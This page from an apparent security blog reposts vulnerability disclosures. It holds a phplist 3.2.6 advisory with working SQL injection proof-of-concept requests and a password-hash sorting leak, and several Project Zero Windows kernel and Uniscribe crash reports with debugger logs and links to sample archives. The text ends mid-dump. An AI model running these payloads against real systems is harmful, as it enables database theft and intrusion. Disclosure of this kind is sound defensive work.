Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863178414

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

1. Introduction

Affected Product:	phplist 3.2.6
Fixed in:	3.3.1
Fixed Version Link:	https://sourceforge.net/projects/phplist/files/phplist/3.3.1/phplist-3.3.1.zip/download
Vendor Website:	https://www.phplist.org/
Vulnerability Type:	SQL Injection
Remote Exploitable:	Yes
Reported to vendor:	01/10/2017
Disclosed to public:	02/20/2017
Release mode:	Coordinated Release
CVE:	n/a (not requested)
Credits	Tim Coen of Curesec GmbH

2. Overview

phplist is an application to manage newsletters, written in PHP. In version 3.2.6, it is vulnerable to SQL injection.

The application contains two SQL injections, one of which is in the administration area and one which requires no credentials. Additionally, at least one query is not properly protected against injections. Furthermore, a query in the administration area discloses some information on the password hashes of users.


3. Details

SQL Injection 1: Edit Subscription

CVSS: High 7.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

It is possible for an unauthenticated user to perform an SQL injection when updating the subscription information of an already subscribed user.

The protection against SQL injection relies on a combination of a custom magic quotes function which applies addslashes to all input values and a function which applies htmlspecialchars to all inputs. Additionally, some input values are cast to integers to prevent injections. addslashes protects against injections into arguments which are placed into single quotes, while htmlspecialchars protects against injections into double quotes.

It should be noted that neither addslashes nor htmlspecialchars are recommended to prevent SQL Injection.

The update functionality is vulnerable to SQL Injection as it uses the key of POST data, while only values of POST data are escaped via addslashes, but not keys.

Proof of Concept:

POST /lists/index.php?p=subscribe&uid=f8082b7cc4da7f94ba42d88ebfb5b1e2&email=foo%40example.com
HTTP/1.1
Host: localhost
Connection: close
Content-Length: 209
       
email=foo%40example.com&emailconfirm=foo%40example.com&textemail=1&list%5B2 or extractvalue(1,version()) %5D=signup&listname%5B2%5D=newsletter&VerificationCodeX=&update=Subscribe+to+the+selected+newsletters%27

The proof of concept is chosen for simplicity and will only work if error messages are displayed to the user. If this is not the case, other techniques can be used to extract data from the database.

Code:

/lists/admin/subscribelib2.php
$lists = '';
if (is_array($_POST['list'])) {
	while (list($key, $val) = each($_POST['list'])) {
    	if ($val == 'signup') {
        	$result = Sql_query("replace into
			{$GLOBALS['tables']['listuser']} (userid,listid,entered)
			values($userid,$key,now())");
			# $lists .= "  * ".$_POST["listname"][$key]."\n";
		}
	}
}


SQL Injection 2: Sending Campaign (Admin)

CVSS: Medium 4.7 CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

When sending a campaign, the sendformat parameter is vulnerable to SQL injection. The injection takes place into an UPDATE, so the easiest way to extract data is via error based SQL injection.

An account with the right to send campaigns is required to exploit this issue.

Proof of Concept:

POST /lists/admin/?page=send&id=2&tk=c&tab=Format HTTP/1.1
Host: localhost
Cookie: PHPSESSID=k6m0jgl4niq7643hohik5jgm12
Connection: close
Content-Length: 323
       
formtoken=27211e65922b95d986bfaf706ccd2ca0&workaround_fck_bug=1&followupto=http%3A%2F%2Flocalhost%2Flists%2Fadmin%2F%3Fpage%3Dsend%26id%3D2%26tk%3Dc%26tab%3DScheduling&htmlformatted=auto&sendformat=HTML"
or extractvalue(1,version()) -- -
&id=2&status=draft&id=2&status=draft&campaigntitle=campaign+meta%27%22%3E&testtarget=

Code:

// /lists/admin/send_core.php:198
$result = Sql_Query(
	sprintf('update %s  set
		subject = "%s", fromfield = "%s", tofield = "%s",
		replyto ="%s", embargo = "%s", repeatinterval = "%s",
		repeatuntil = "%s",
		message = "%s", textmessage = "%s", footer = "%s", status = "%s",
		htmlformatted = "%s", sendformat  = "%s", template  =  "%s"
		where id = %d',
		$tables['message'],
		sql_escape(strip_tags($messagedata['campaigntitle'])),
		/* we store the title in the subject field. Better would
		be to rename the DB column, but this will do for now */
		sql_escape($messagedata['fromfield']),
		sql_escape($messagedata['tofield']),
		sql_escape($messagedata['replyto']),
		sprintf('d-d-d d:d',
			$messagedata['embargo']['year'],
			$messagedata['embargo']['month'], $messagedata['embargo']['day'],
			$messagedata['embargo']['hour'],
			$messagedata['embargo']['minute']), 
		$messagedata['repeatinterval'],
		sprintf('d-d-d d:d',
			$messagedata['repeatuntil']['year'],
			$messagedata['repeatuntil']['month'],
			$messagedata['repeatuntil']['day'],
			$messagedata['repeatuntil']['hour'],
			$messagedata['repeatuntil']['minute']),
		sql_escape($messagedata['message']),
		sql_escape($messagedata['textmessage']),
		sql_escape($messagedata['footer']),
		sql_escape($messagedata['status']), $htmlformatted ? '1'
		: '0', $messagedata['sendformat'],
		sql_escape($messagedata['template']), $id
	)
);

Sort By: Password (Admin)

CVSS: Low 2.2 CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N

When viewing users, the sortby parameter can be used to sort the list. The drop down list allows sorting by email, dates, and so on. All non-word characters are removed, but there are no further checks.

It is possible to gather some information on the password of users via this parameter, as it is possible to set it to sort by password.

By repeatedly changing the password of an existing user, the characters of a password hash could be bruteforced by looking at the position of the user the attacker controls.

An account with the right to view users is required to exploit this issue.

Proof of Concept:

http://localhost//lists/admin/?page=users&start=0&find=&findby=&sortby=password&sortorder=desc&change=Go&id=0&find=&findby=email


Insufficient Protection against SQL Injection

CVSS: n/a

When subscribing a user, metadata is saved in the database. When saving this data in the database, it is neither properly escaped nor are prepared statements used, but the input is HTML encoded.

Because of this, an unauthenticated user has control over part of the query.

This issue is not currently exploitable, but may be exploitable if changes are made to the query. The approach of HTML encoding instead of using prepared statements to defend against SQL injection is also more error prone and may result in further queries which are vulnerable.

A user can create a database error with the following request:

POST /lists/index.php?p=subscribe&id=a\ HTTP/1.1
Host: localhost
Cookie: PHPSESSID=8h5fh18cqe41a2l1t6224tf9v4
Connection: close
           
formtoken=5bf7774ff0f2e396081dc1478cd92201&makeconfirmed=0&email=foo%40example.com&emailconfirm=foo%40example.com&textemail=1&list%5B2%5D=signup&listname%5B2%5D=newsletter&VerificationCodeX=&subscribe=Subscribe+to+the+selected+newsletters%27


The resulting query is:

insert into phplist_user_user_history (ip,userid,date,summary,detail,systeminfo)
values("127.0.0.1",2,now(),"Re-Subscription","[...]","
    HTTP_USER_AGENT = [...]
    REQUEST_URI = /lists/index.php?p=subscribe&id=a\")

It can be seen that the slash in the request escapes the quote of the query which causes an error.


4. Solution

To mitigate this issue please upgrade at least to version 3.3.1:

https://sourceforge.net/projects/phplist/files/phplist/3.3.1/phplist-3.3.1.zip/download

Please note that a newer version might already be available.


5. Report Timeline

01/10/2017	Informed Vendor about Issue
01/16/2017	Vendor confirms
02/15/2017	Asked Vendor to confirm that new release fixes issues
02/15/2017	Vendor confirms
02/20/2017	Disclosed to public
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=993

We have encountered Windows kernel crashes in the internal nt!nt!HvpGetBinMemAlloc and nt!ExpFindAndRemoveTagBigPages functions while loading corrupted registry hive files. We believe both crashes to be caused by the same bug. Examples of crash log excerpts generated after triggering the bug are shown below:

---
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: a2b23004, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: 817f7f04, If non-zero, the instruction address which referenced the bad memory
	address.
Arg4: 00000000, (reserved)

Debugging Details:
------------------

[...]

STACK_TEXT:  
a3c0b70c 818b68d0 a06529c8 a0652fd8 a06529c8 nt!HvpGetBinMemAlloc+0x8
a3c0b73c 817f113e 00000001 80000580 80000578 nt!HvFreeHive+0x11c
a3c0b798 817c4fac a3c0b828 00000002 00000000 nt!CmpInitializeHive+0x5e6
a3c0b85c 817c5d91 a3c0bbb8 00000000 a3c0b9f4 nt!CmpInitHiveFromFile+0x1be
a3c0b9c0 817cdaba a3c0bbb8 a3c0ba88 a3c0ba0c nt!CmpCmdHiveOpen+0x50
a3c0bacc 817c63c4 a3c0bb90 a3c0bbb8 00000010 nt!CmLoadKey+0x459
a3c0bc0c 8165cdb6 002efa0c 00000000 00000010 nt!NtLoadKeyEx+0x56c
a3c0bc0c 77796c74 002efa0c 00000000 00000010 nt!KiSystemServicePostCall
WARNING: Frame IP not in any known module. Following frames may be wrong.
002efa74 00000000 00000000 00000000 00000000 0x77796c74
---

and

---
BAD_POOL_HEADER (19)
The pool is already corrupt at the time of the current request.
This may or may not be due to the caller.
The internal pool links must be walked to figure out a possible cause of
the problem, and then special pool applied to the suspect tags or the driver
verifier to a suspect driver.
Arguments:
Arg1: 00000022, 
Arg2: a9c14000
Arg3: 00000001
Arg4: 00000000

[...]

STACK_TEXT:  
a353b688 81760bf9 a9c14000 a353b6c0 a353b6b4 nt!ExpFindAndRemoveTagBigPages+0x1fd
a353b6f8 8184d349 a9c14000 00000000 a353b73c nt!ExFreePoolWithTag+0x13f
a353b708 818d48d9 a9c14000 00001000 a87bcfd8 nt!CmpFree+0x17
a353b73c 8180f13e 00000001 80000560 80000548 nt!HvFreeHive+0x125
a353b798 817e2fac a353b828 00000002 00000000 nt!CmpInitializeHive+0x5e6
a353b85c 817e3d91 a353bbb8 00000000 a353b9f4 nt!CmpInitHiveFromFile+0x1be
a353b9c0 817ebaba a353bbb8 a353ba88 a353ba0c nt!CmpCmdHiveOpen+0x50
a353bacc 817e43c4 a353bb90 a353bbb8 00000010 nt!CmLoadKey+0x459
a353bc0c 8167adb6 002bf614 00000000 00000010 nt!NtLoadKeyEx+0x56c
a353bc0c 77a36c74 002bf614 00000000 00000010 nt!KiSystemServicePostCall
WARNING: Frame IP not in any known module. Following frames may be wrong.
002bf67c 00000000 00000000 00000000 00000000 0x77a36c74
---

The issue reproduces on Windows 7 32- and 64-bit, and manifests itself both with and without Special Pools (but it is still advised to have the mechanism enabled). In order to reproduce the problem with the provided samples, it is necessary to load them with a dedicated program which calls the RegLoadAppKey() API.

The root cause of the crashes is unknown. It must be noted that in our test environment, reproduction has been very unreliable: the same hive could crash the system in one run, and then parse fine (or fail with an error) in 10 subsequent runs. In order to facilitate reproduction, I'm providing a high number of testcases which were seen to cause a bugcheck once or more, in hope that at least one of them will also reproduce externally.

################################################################################

On November 29, MSRC let us know that they were unable to reproduce a crash with the provided samples and report, and asked for more information and/or kernel crash dumps.

One day later, we've looked into the bug again and discovered that it wasn't sufficient to just load a single corrupted hive to trigger the bugcheck: instead, it is necessary to sequentially load several corrupted hives from the same path in the filesystem. MSRC confirmed that they could reliably reproduce the problem with this new information.

Since the additional detail is crucial to observe the symptoms of the bug and it was not included in the original report, I'm resetting the "Reported" date to November 30.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41645.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1019

We have encountered a crash in the Windows Uniscribe user-mode library, in the usp10!otlChainRuleSetTable::rule function, while trying to display text using a corrupted TTF font file:

---
(4464.11b4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0933d8bf ebx=00000000 ecx=09340ffc edx=00001b9f esi=0026ecac edi=00000009
eip=752378f3 esp=0026ec24 ebp=0026ec2c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
USP10!ScriptPositionSingleGlyph+0x28533:
752378f3 668b4c5002      mov     cx,word ptr [eax+edx*2+2] ds:002b:09340fff=????

0:000> kb
ChildEBP RetAddr  Args to Child              
0026ec2c 752382f3 0026ecac 00001b9f 09340ffc USP10!otlChainRuleSetTable::rule+0x13
0026eccc 75231471 42555347 0026f078 0133d7d2 USP10!otlChainingLookup::apply+0x7d3
0026ed48 752335e1 000000e4 0026f078 0026f09c USP10!ApplyLookup+0x261
0026ef4c 7522f29f 42555347 0026f0b4 0026f078 USP10!ApplyFeatures+0x481
0026ef98 7522f710 00000000 09342ffa 09342f40 USP10!SubstituteOtlGlyphs+0x1bf
0026efd4 752213c0 0026f050 0026f088 0026f0b4 USP10!SubstituteOtlChars+0x220
0026f250 7521548a 0026f35c 0026f388 0026f370 USP10!HebrewEngineGetGlyphs+0x690
0026f310 7521253f 0026f35c 0026f388 0026f370 USP10!ShapingGetGlyphs+0x36a
0026f3fc 751e5c6f 2d011da2 09316124 09316318 USP10!ShlShape+0x2ef
0026f440 751f167a 2d011da2 09316124 09316318 USP10!ScriptShape+0x15f
0026f4a0 751f2b14 00000000 00000000 0026f520 USP10!RenderItemNoFallback+0xfa
0026f4cc 751f2da2 00000000 00000000 0026f520 USP10!RenderItemWithFallback+0x104
0026f4f0 751f4339 00000000 0026f520 09316124 USP10!RenderItem+0x22
0026f534 751e7a04 000004a0 00000400 2d011da2 USP10!ScriptStringAnalyzeGlyphs+0x1e9
0026f54c 76ca5465 2d011da2 09316040 0000000a USP10!ScriptStringAnalyse+0x284
0026f598 76ca5172 2d011da2 0026fa1c 0000000a LPK!LpkStringAnalyse+0xe5
0026f694 76ca1410 2d011da2 00000000 00000000 LPK!LpkCharsetDraw+0x332
0026f6c8 763c18b0 2d011da2 00000000 00000000 LPK!LpkDrawTextEx+0x40
0026f708 763c22bf 2d011da2 00000048 00000000 USER32!DT_DrawStr+0x13c
0026f754 763c21f2 2d011da2 0026fa1c 0026fa30 USER32!DT_GetLineBreak+0x78
0026f800 763c14d4 2d011da2 00000000 0000000a USER32!DrawTextExWorker+0x255
0026f824 763c2475 2d011da2 0026fa1c ffffffff USER32!DrawTextExW+0x1e
[...]
---

The crash is caused by a single-byte change in a legitimate font file: at offset 0x845A, byte 0x00 is changed to 0xFF. The data region corresponds to the "GSUB" sfnt table. The change causes the otlChainRuleTable::backtrackGlyphCount() function to return an overly large 16-bit integer of 0xED00, which is then used as the number of iterations in a subsequent loop in the otlChainingLookup::apply() function, without prior validation. Increasing (out-of-bounds) indexes are then passed to otlChainRuleSetTable::rule() in the 2nd parameter, and used to address an array of 16-bit indexes. This is where the crash takes place, as the large index eventually starts pointing into the boundary of the last mapped heap memory page.

The 16-bit value being read from outside the allocated buffer is later used as yet another index, used to address some an array in the otlChainRuleTable::otlChainRuleTable() routine. While the function only appears to read from the newly formed pointer at first glance, we are not ruling out the possibility of memory corruption. In a read-only scenario, the issue could be potentially used to disclose sensitive data from the process heap.

The issue reproduces on Windows 7. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.

Attached is an archive with the original and modified TTF files.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41646.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1022

We have encountered a crash in the Windows Uniscribe user-mode library, in the memmove() function called by USP10!otlList::insertAt, while trying to display text using a corrupted font file:

---
(4b44.24a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=093bc154 ebx=0943c104 ecx=00000012 edx=00000000 esi=093bc10c edi=0943c104
eip=76bc9f40 esp=001ee9b4 ebp=001ee9bc iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010216
msvcrt!memmove+0x5a:
76bc9f40 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> kb
ChildEBP RetAddr  Args to Child              
001ee9bc 7522e87a 0943c104 093bc10c 00000048 msvcrt!memmove+0x5a
001ee9dc 752358bd 00000002 ffffffff 00000001 USP10!otlList::insertAt+0x3a
001ee9f8 7523a414 001eee10 001eee34 00000002 USP10!InsertGlyphs+0x1d
001eea3c 75239676 001eee10 001eee34 001eed24 USP10!SubstituteNtoM+0x224
001eea7c 75231393 001eee10 001eee34 001eed24 USP10!otlMultiSubstLookup::apply+0xf6
001eeae0 752335e1 00000000 001eee10 001eee34 USP10!ApplyLookup+0x183
001eece4 7522f29f 42555347 001eee4c 001eee10 USP10!ApplyFeatures+0x481
001eed30 7522f710 00000000 093da000 093d9b58 USP10!SubstituteOtlGlyphs+0x1bf
001eed6c 752213c0 001eede8 001eee20 001eee4c USP10!SubstituteOtlChars+0x220
001eefe8 7521548a 001ef0f4 001ef120 001ef108 USP10!HebrewEngineGetGlyphs+0x690
001ef0a8 7521253f 001ef0f4 001ef120 001ef108 USP10!ShapingGetGlyphs+0x36a
001ef190 751e5c6f 86011dce 093b6124 093b6318 USP10!ShlShape+0x2ef
001ef1d4 751f167a 86011dce 093b6124 093b6318 USP10!ScriptShape+0x15f
001ef234 751f2b14 00000000 00000000 001ef2b4 USP10!RenderItemNoFallback+0xfa
001ef260 751f2da2 00000000 00000000 001ef2b4 USP10!RenderItemWithFallback+0x104
001ef284 751f4339 00000000 001ef2b4 093b6124 USP10!RenderItem+0x22
001ef2c8 751e7a04 000004a0 00000400 86011dce USP10!ScriptStringAnalyzeGlyphs+0x1e9
001ef2e0 76ca5465 86011dce 093b6040 0000000a USP10!ScriptStringAnalyse+0x284
001ef32c 76ca5172 86011dce 001ef714 0000000a LPK!LpkStringAnalyse+0xe5
001ef428 76ca1410 86011dce 00000000 00000000 LPK!LpkCharsetDraw+0x332
001ef45c 763c18b0 86011dce 00000000 00000000 LPK!LpkDrawTextEx+0x40
001ef49c 763c22bf 86011dce 00000058 00000000 USER32!DT_DrawStr+0x13c
001ef4e8 763c21f2 86011dce 001ef714 001ef728 USER32!DT_GetLineBreak+0x78
001ef594 763c14d4 86011dce 00000000 0000000a USER32!DrawTextExWorker+0x255
001ef5b8 763c2475 86011dce 001ef714 ffffffff USER32!DrawTextExW+0x1e
001ef5ec 013abcec 86011dce 001ef714 ffffffff USER32!DrawTextW+0x4d
[...]
0:000> dd esi
093bc10c  00000b45 00010001 00000b46 00010002
093bc11c  00000b47 00010003 00000b48 00010004
093bc12c  00000b49 00010005 00000b4a 00010006
093bc13c  00000b4b 00010007 00000b4c 00010008
093bc14c  00000b4d 00010009 000b0000 67696c63
093bc15c  00000001 000b0000 00000001 000000f8
093bc16c  00000048 001104bd 00010000 00000b26
093bc17c  00010001 00000b27 00010002 00000b28
0:000> dd edi
0943c104  ???????? ???????? ???????? ????????
0943c114  ???????? ???????? ???????? ????????
0943c124  ???????? ???????? ???????? ????????
0943c134  ???????? ???????? ???????? ????????
0943c144  ???????? ???????? ???????? ????????
0943c154  ???????? ???????? ???????? ????????
0943c164  ???????? ???????? ???????? ????????
0943c174  ???????? ???????? ???????? ????????
---

The issue reproduces on Windows 7. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.

Attached is an archive with 3 crashing samples.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41647.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1023

We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!AssignGlyphTypes function, while trying to display text using a corrupted font file:

---
(58d0.5ae4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0042f2cc ebx=00000001 ecx=00000091 edx=00000091 esi=095c0004 edi=000007e1
eip=75235699 esp=0042ef8c ebp=0042ef98 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
USP10!AssignGlyphTypes+0x79:
75235699 0fb70e          movzx   ecx,word ptr [esi]       ds:002b:095c0004=????
0:000> kb
ChildEBP RetAddr  Args to Child              
0042ef98 75233660 0042f2cc 095dfc86 0000f81e USP10!AssignGlyphTypes+0x79
0042f17c 7522f29f 42555347 0042f2e4 0042f2a8 USP10!ApplyFeatures+0x500
0042f1c8 7522f710 00000000 095e0000 095dfc78 USP10!SubstituteOtlGlyphs+0x1bf
0042f204 752213c0 0042f280 0042f2b8 0042f2e4 USP10!SubstituteOtlChars+0x220
0042f480 7521548a 0042f58c 0042f5b8 0042f5a0 USP10!HebrewEngineGetGlyphs+0x690
0042f540 7521253f 0042f58c 0042f5b8 0042f5a0 USP10!ShapingGetGlyphs+0x36a
0042f628 751e5c6f 1b01233b 095b6124 095b6318 USP10!ShlShape+0x2ef
0042f66c 751f167a 1b01233b 095b6124 095b6318 USP10!ScriptShape+0x15f
0042f6cc 751f2b14 00000000 00000000 0042f74c USP10!RenderItemNoFallback+0xfa
0042f6f8 751f2da2 00000000 00000000 0042f74c USP10!RenderItemWithFallback+0x104
0042f71c 751f4339 00000000 0042f74c 095b6124 USP10!RenderItem+0x22
0042f760 751e7a04 000004a0 00000400 1b01233b USP10!ScriptStringAnalyzeGlyphs+0x1e9
0042f778 76ca5465 1b01233b 095b6040 0000000a USP10!ScriptStringAnalyse+0x284
0042f7c4 76ca5172 1b01233b 0042fbac 0000000a LPK!LpkStringAnalyse+0xe5
0042f8c0 76ca1410 1b01233b 00000000 00000000 LPK!LpkCharsetDraw+0x332
0042f8f4 763c18b0 1b01233b 00000000 00000000 LPK!LpkDrawTextEx+0x40
0042f934 763c22bf 1b01233b 000000b0 00000000 USER32!DT_DrawStr+0x13c
0042f980 763c21f2 1b01233b 0042fbac 0042fbc0 USER32!DT_GetLineBreak+0x78
0042fa2c 763c14d4 1b01233b 00000000 0000000a USER32!DrawTextExWorker+0x255
0042fa50 763c2475 1b01233b 0042fbac ffffffff USER32!DrawTextExW+0x1e
0042fa84 013b6a5c 1b01233b 0042fbac ffffffff USER32!DrawTextW+0x4d
[...]
0:000> u
USP10!AssignGlyphTypes+0x79:
75235699 0fb70e          movzx   ecx,word ptr [esi]
7523569c b8f0ff0000      mov     eax,0FFF0h
752356a1 66214602        and     word ptr [esi+2],ax
752356a5 51              push    ecx
752356a6 8d4d0c          lea     ecx,[ebp+0Ch]
752356a9 e852420000      call    USP10!otlClassDef::getClass (75239900)
752356ae 66094602        or      word ptr [esi+2],ax
752356b2 eb09            jmp     USP10!AssignGlyphTypes+0x9d (752356bd)
0:000> dd esi
095c0004  ???????? ???????? ???????? ????????
095c0014  ???????? ???????? ???????? ????????
095c0024  ???????? ???????? ???????? ????????
095c0034  ???????? ???????? ???????? ????????
095c0044  ???????? ???????? ???????? ????????
095c0054  ???????? ???????? ???????? ????????
095c0064  ???????? ???????? ???????? ????????
095c0074  ???????? ???????? ???????? ????????
---

While the immediate crash is caused by an invalid memory read operation, the function subsequently writes to the out-of-bounds memory regions at addresses 0x752356a1 and 0x752356ae, leading to memory corruption and potential remote code execution.

The issue reproduces on Windows 7. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.

Attached is an archive with 3 crashing samples.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41648.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1025

We have encountered a crash in the Windows Uniscribe user-mode library, in the memset() function called by USP10!otlCacheManager::GlyphsSubstituted, while trying to display text using a corrupted font file:

---
(449c.6338): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=092ac250 ebx=092ac230 ecx=00000784 edx=00000074 esi=0028ea6c edi=092affd0
eip=76bc9c8d esp=0028e978 ebp=0028e97c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
msvcrt!_VEC_memcpy+0x116:
76bc9c8d 660f7f4730      movdqa  xmmword ptr [edi+30h],xmm0 ds:002b:092b0000=????????????????????????????????
0:000> kb
ChildEBP RetAddr  Args to Child              
0028e97c 76bc9c39 092ac250 0003ff80 00000006 msvcrt!_VEC_memcpy+0x116
0028e99c 76bc9cde 092ac250 00000000 0003fff4 msvcrt!_VEC_memzero+0x36
0028e9c0 75234b58 092ac248 00000000 0003fffc msvcrt!_VEC_memzero+0x82
0028e9e0 752336a1 0028ed18 00000006 0000ffff USP10!otlCacheManager::GlyphsSubstituted+0xc8
0028ebc0 7522f29f 42555347 0028ed58 0028ece4 USP10!ApplyFeatures+0x541
0028ec0c 7522b083 00000000 092c6ffc 092c6e18 USP10!SubstituteOtlGlyphs+0x1bf
0028ec38 75223921 0028ecb4 0028ed0c 0028ed58 USP10!ShapingLibraryInternal::SubstituteOtlGlyphsWithLanguageFallback+0x23
0028eed0 7521548a 0028efdc 0028f008 0028eff0 USP10!ArabicEngineGetGlyphs+0x891
0028ef90 7521253f 0028efdc 0028f008 0028eff0 USP10!ShapingGetGlyphs+0x36a
0028f078 751e5c6f 2a0123f2 092a6124 092a6318 USP10!ShlShape+0x2ef
0028f0bc 751f167a 2a0123f2 092a6124 092a6318 USP10!ScriptShape+0x15f
0028f11c 751f2b14 00000000 00000000 0028f19c USP10!RenderItemNoFallback+0xfa
0028f148 751f2da2 00000000 00000000 0028f19c USP10!RenderItemWithFallback+0x104
0028f16c 751f4339 00000000 0028f19c 092a6124 USP10!RenderItem+0x22
0028f1b0 751e7a04 000004a0 00000400 2a0123f2 USP10!ScriptStringAnalyzeGlyphs+0x1e9
0028f1c8 76ca5465 2a0123f2 092a6040 0000000a USP10!ScriptStringAnalyse+0x284
0028f214 76ca5172 2a0123f2 0028f5fc 0000000a LPK!LpkStringAnalyse+0xe5
0028f310 76ca1410 2a0123f2 00000000 00000000 LPK!LpkCharsetDraw+0x332
0028f344 763c18b0 2a0123f2 00000000 00000000 LPK!LpkDrawTextEx+0x40
0028f384 763c22bf 2a0123f2 00000070 00000000 USER32!DT_DrawStr+0x13c
0028f3d0 763c21f2 2a0123f2 0028f5fc 0028f610 USER32!DT_GetLineBreak+0x78
0028f47c 763c14d4 2a0123f2 00000000 0000000a USER32!DrawTextExWorker+0x255
0028f4a0 763c2475 2a0123f2 0028f5fc ffffffff USER32!DrawTextExW+0x1e
0028f4d4 01336a5c 2a0123f2 0028f5fc ffffffff USER32!DrawTextW+0x4d
[...]
0:000> dd edi
092affd0  00000000 00000000 00000000 00000000
092affe0  00000000 00000000 00000000 00000000
092afff0  00000000 00000000 00000000 00000000
092b0000  ???????? ???????? ???????? ????????
092b0010  ???????? ???????? ???????? ????????
092b0020  ???????? ???????? ???????? ????????
092b0030  ???????? ???????? ???????? ????????
092b0040  ???????? ???????? ???????? ????????
---

The issue reproduces on Windows 7. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.

Attached is an archive with 2 crashing samples.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41649.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1026&desc=2

We have encountered a crash in the Windows Uniscribe user-mode library, in the memcpy() function called by USP10!MergeLigRecords, while trying to display text using a corrupted font file:

---
(2bd0.637c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0929a000 ebx=09299fa0 ecx=00000009 edx=00000002 esi=09299fda edi=092b7914
eip=76bc9b60 esp=0015f534 ebp=0015f53c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
msvcrt!memcpy+0x5a:
76bc9b60 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> kb
ChildEBP RetAddr  Args to Child              
0015f53c 751f777d 092b7914 09299fda 00000026 msvcrt!memcpy+0x5a
0015f554 751f74e9 0928ffd0 0928f9d0 0015f5f0 USP10!MergeLigRecords+0x14d
0015f5b4 751f7044 0000001a 09223d88 09233fa8 USP10!LoadTTOArabicShapeTables+0x3f9
0015f5c8 751fc5f4 a60118b0 09223d88 09216124 USP10!LoadArabicShapeTables+0xd4
0015f5e4 751ea5a0 a60118b0 0928f7d0 0000001a USP10!ArabicLoadTbl+0xd4
0015f608 751ea692 09216124 a60118b0 0000001a USP10!UpdateCache+0xb0
0015f61c 751f152d a60118b0 09216000 751f15db USP10!ScriptCheckCache+0x62
0015f628 751f15db 00000001 00000001 092162e8 USP10!GetShapeFunction+0xd
0015f660 751f2b14 00000001 00000000 0015f6e0 USP10!RenderItemNoFallback+0x5b
0015f68c 751f2da2 00000001 00000000 0015f6e0 USP10!RenderItemWithFallback+0x104
0015f6b0 751f4339 00000000 0015f6e0 09216124 USP10!RenderItem+0x22
0015f6f4 751e7a04 000004a0 00000400 a60118b0 USP10!ScriptStringAnalyzeGlyphs+0x1e9
0015f70c 76ca5465 a60118b0 09216040 0000000a USP10!ScriptStringAnalyse+0x284
0015f758 76ca5172 a60118b0 0015fb40 0000000a LPK!LpkStringAnalyse+0xe5
0015f854 76ca1410 a60118b0 00000000 00000000 LPK!LpkCharsetDraw+0x332
0015f888 763c18b0 a60118b0 00000000 00000000 LPK!LpkDrawTextEx+0x40
0015f8c8 763c22bf a60118b0 000000c0 00000000 USER32!DT_DrawStr+0x13c
0015f914 763c21f2 a60118b0 0015fb40 0015fb54 USER32!DT_GetLineBreak+0x78
0015f9c0 763c14d4 a60118b0 00000000 0000000a USER32!DrawTextExWorker+0x255
0015f9e4 763c2475 a60118b0 0015fb40 ffffffff USER32!DrawTextExW+0x1e
0015fa18 010e6a5c a60118b0 0015fb40 ffffffff USER32!DrawTextW+0x4d
[...]
0:000> dd esi
09299fda  03e003df 03df03ea 03df0382 03df0384
09299fea  03df0388 03e0038e 03e00382 03e00384
09299ffa  03e00388 ???????? ???????? ????????
0929a00a  ???????? ???????? ???????? ????????
0929a01a  ???????? ???????? ???????? ????????
0929a02a  ???????? ???????? ???????? ????????
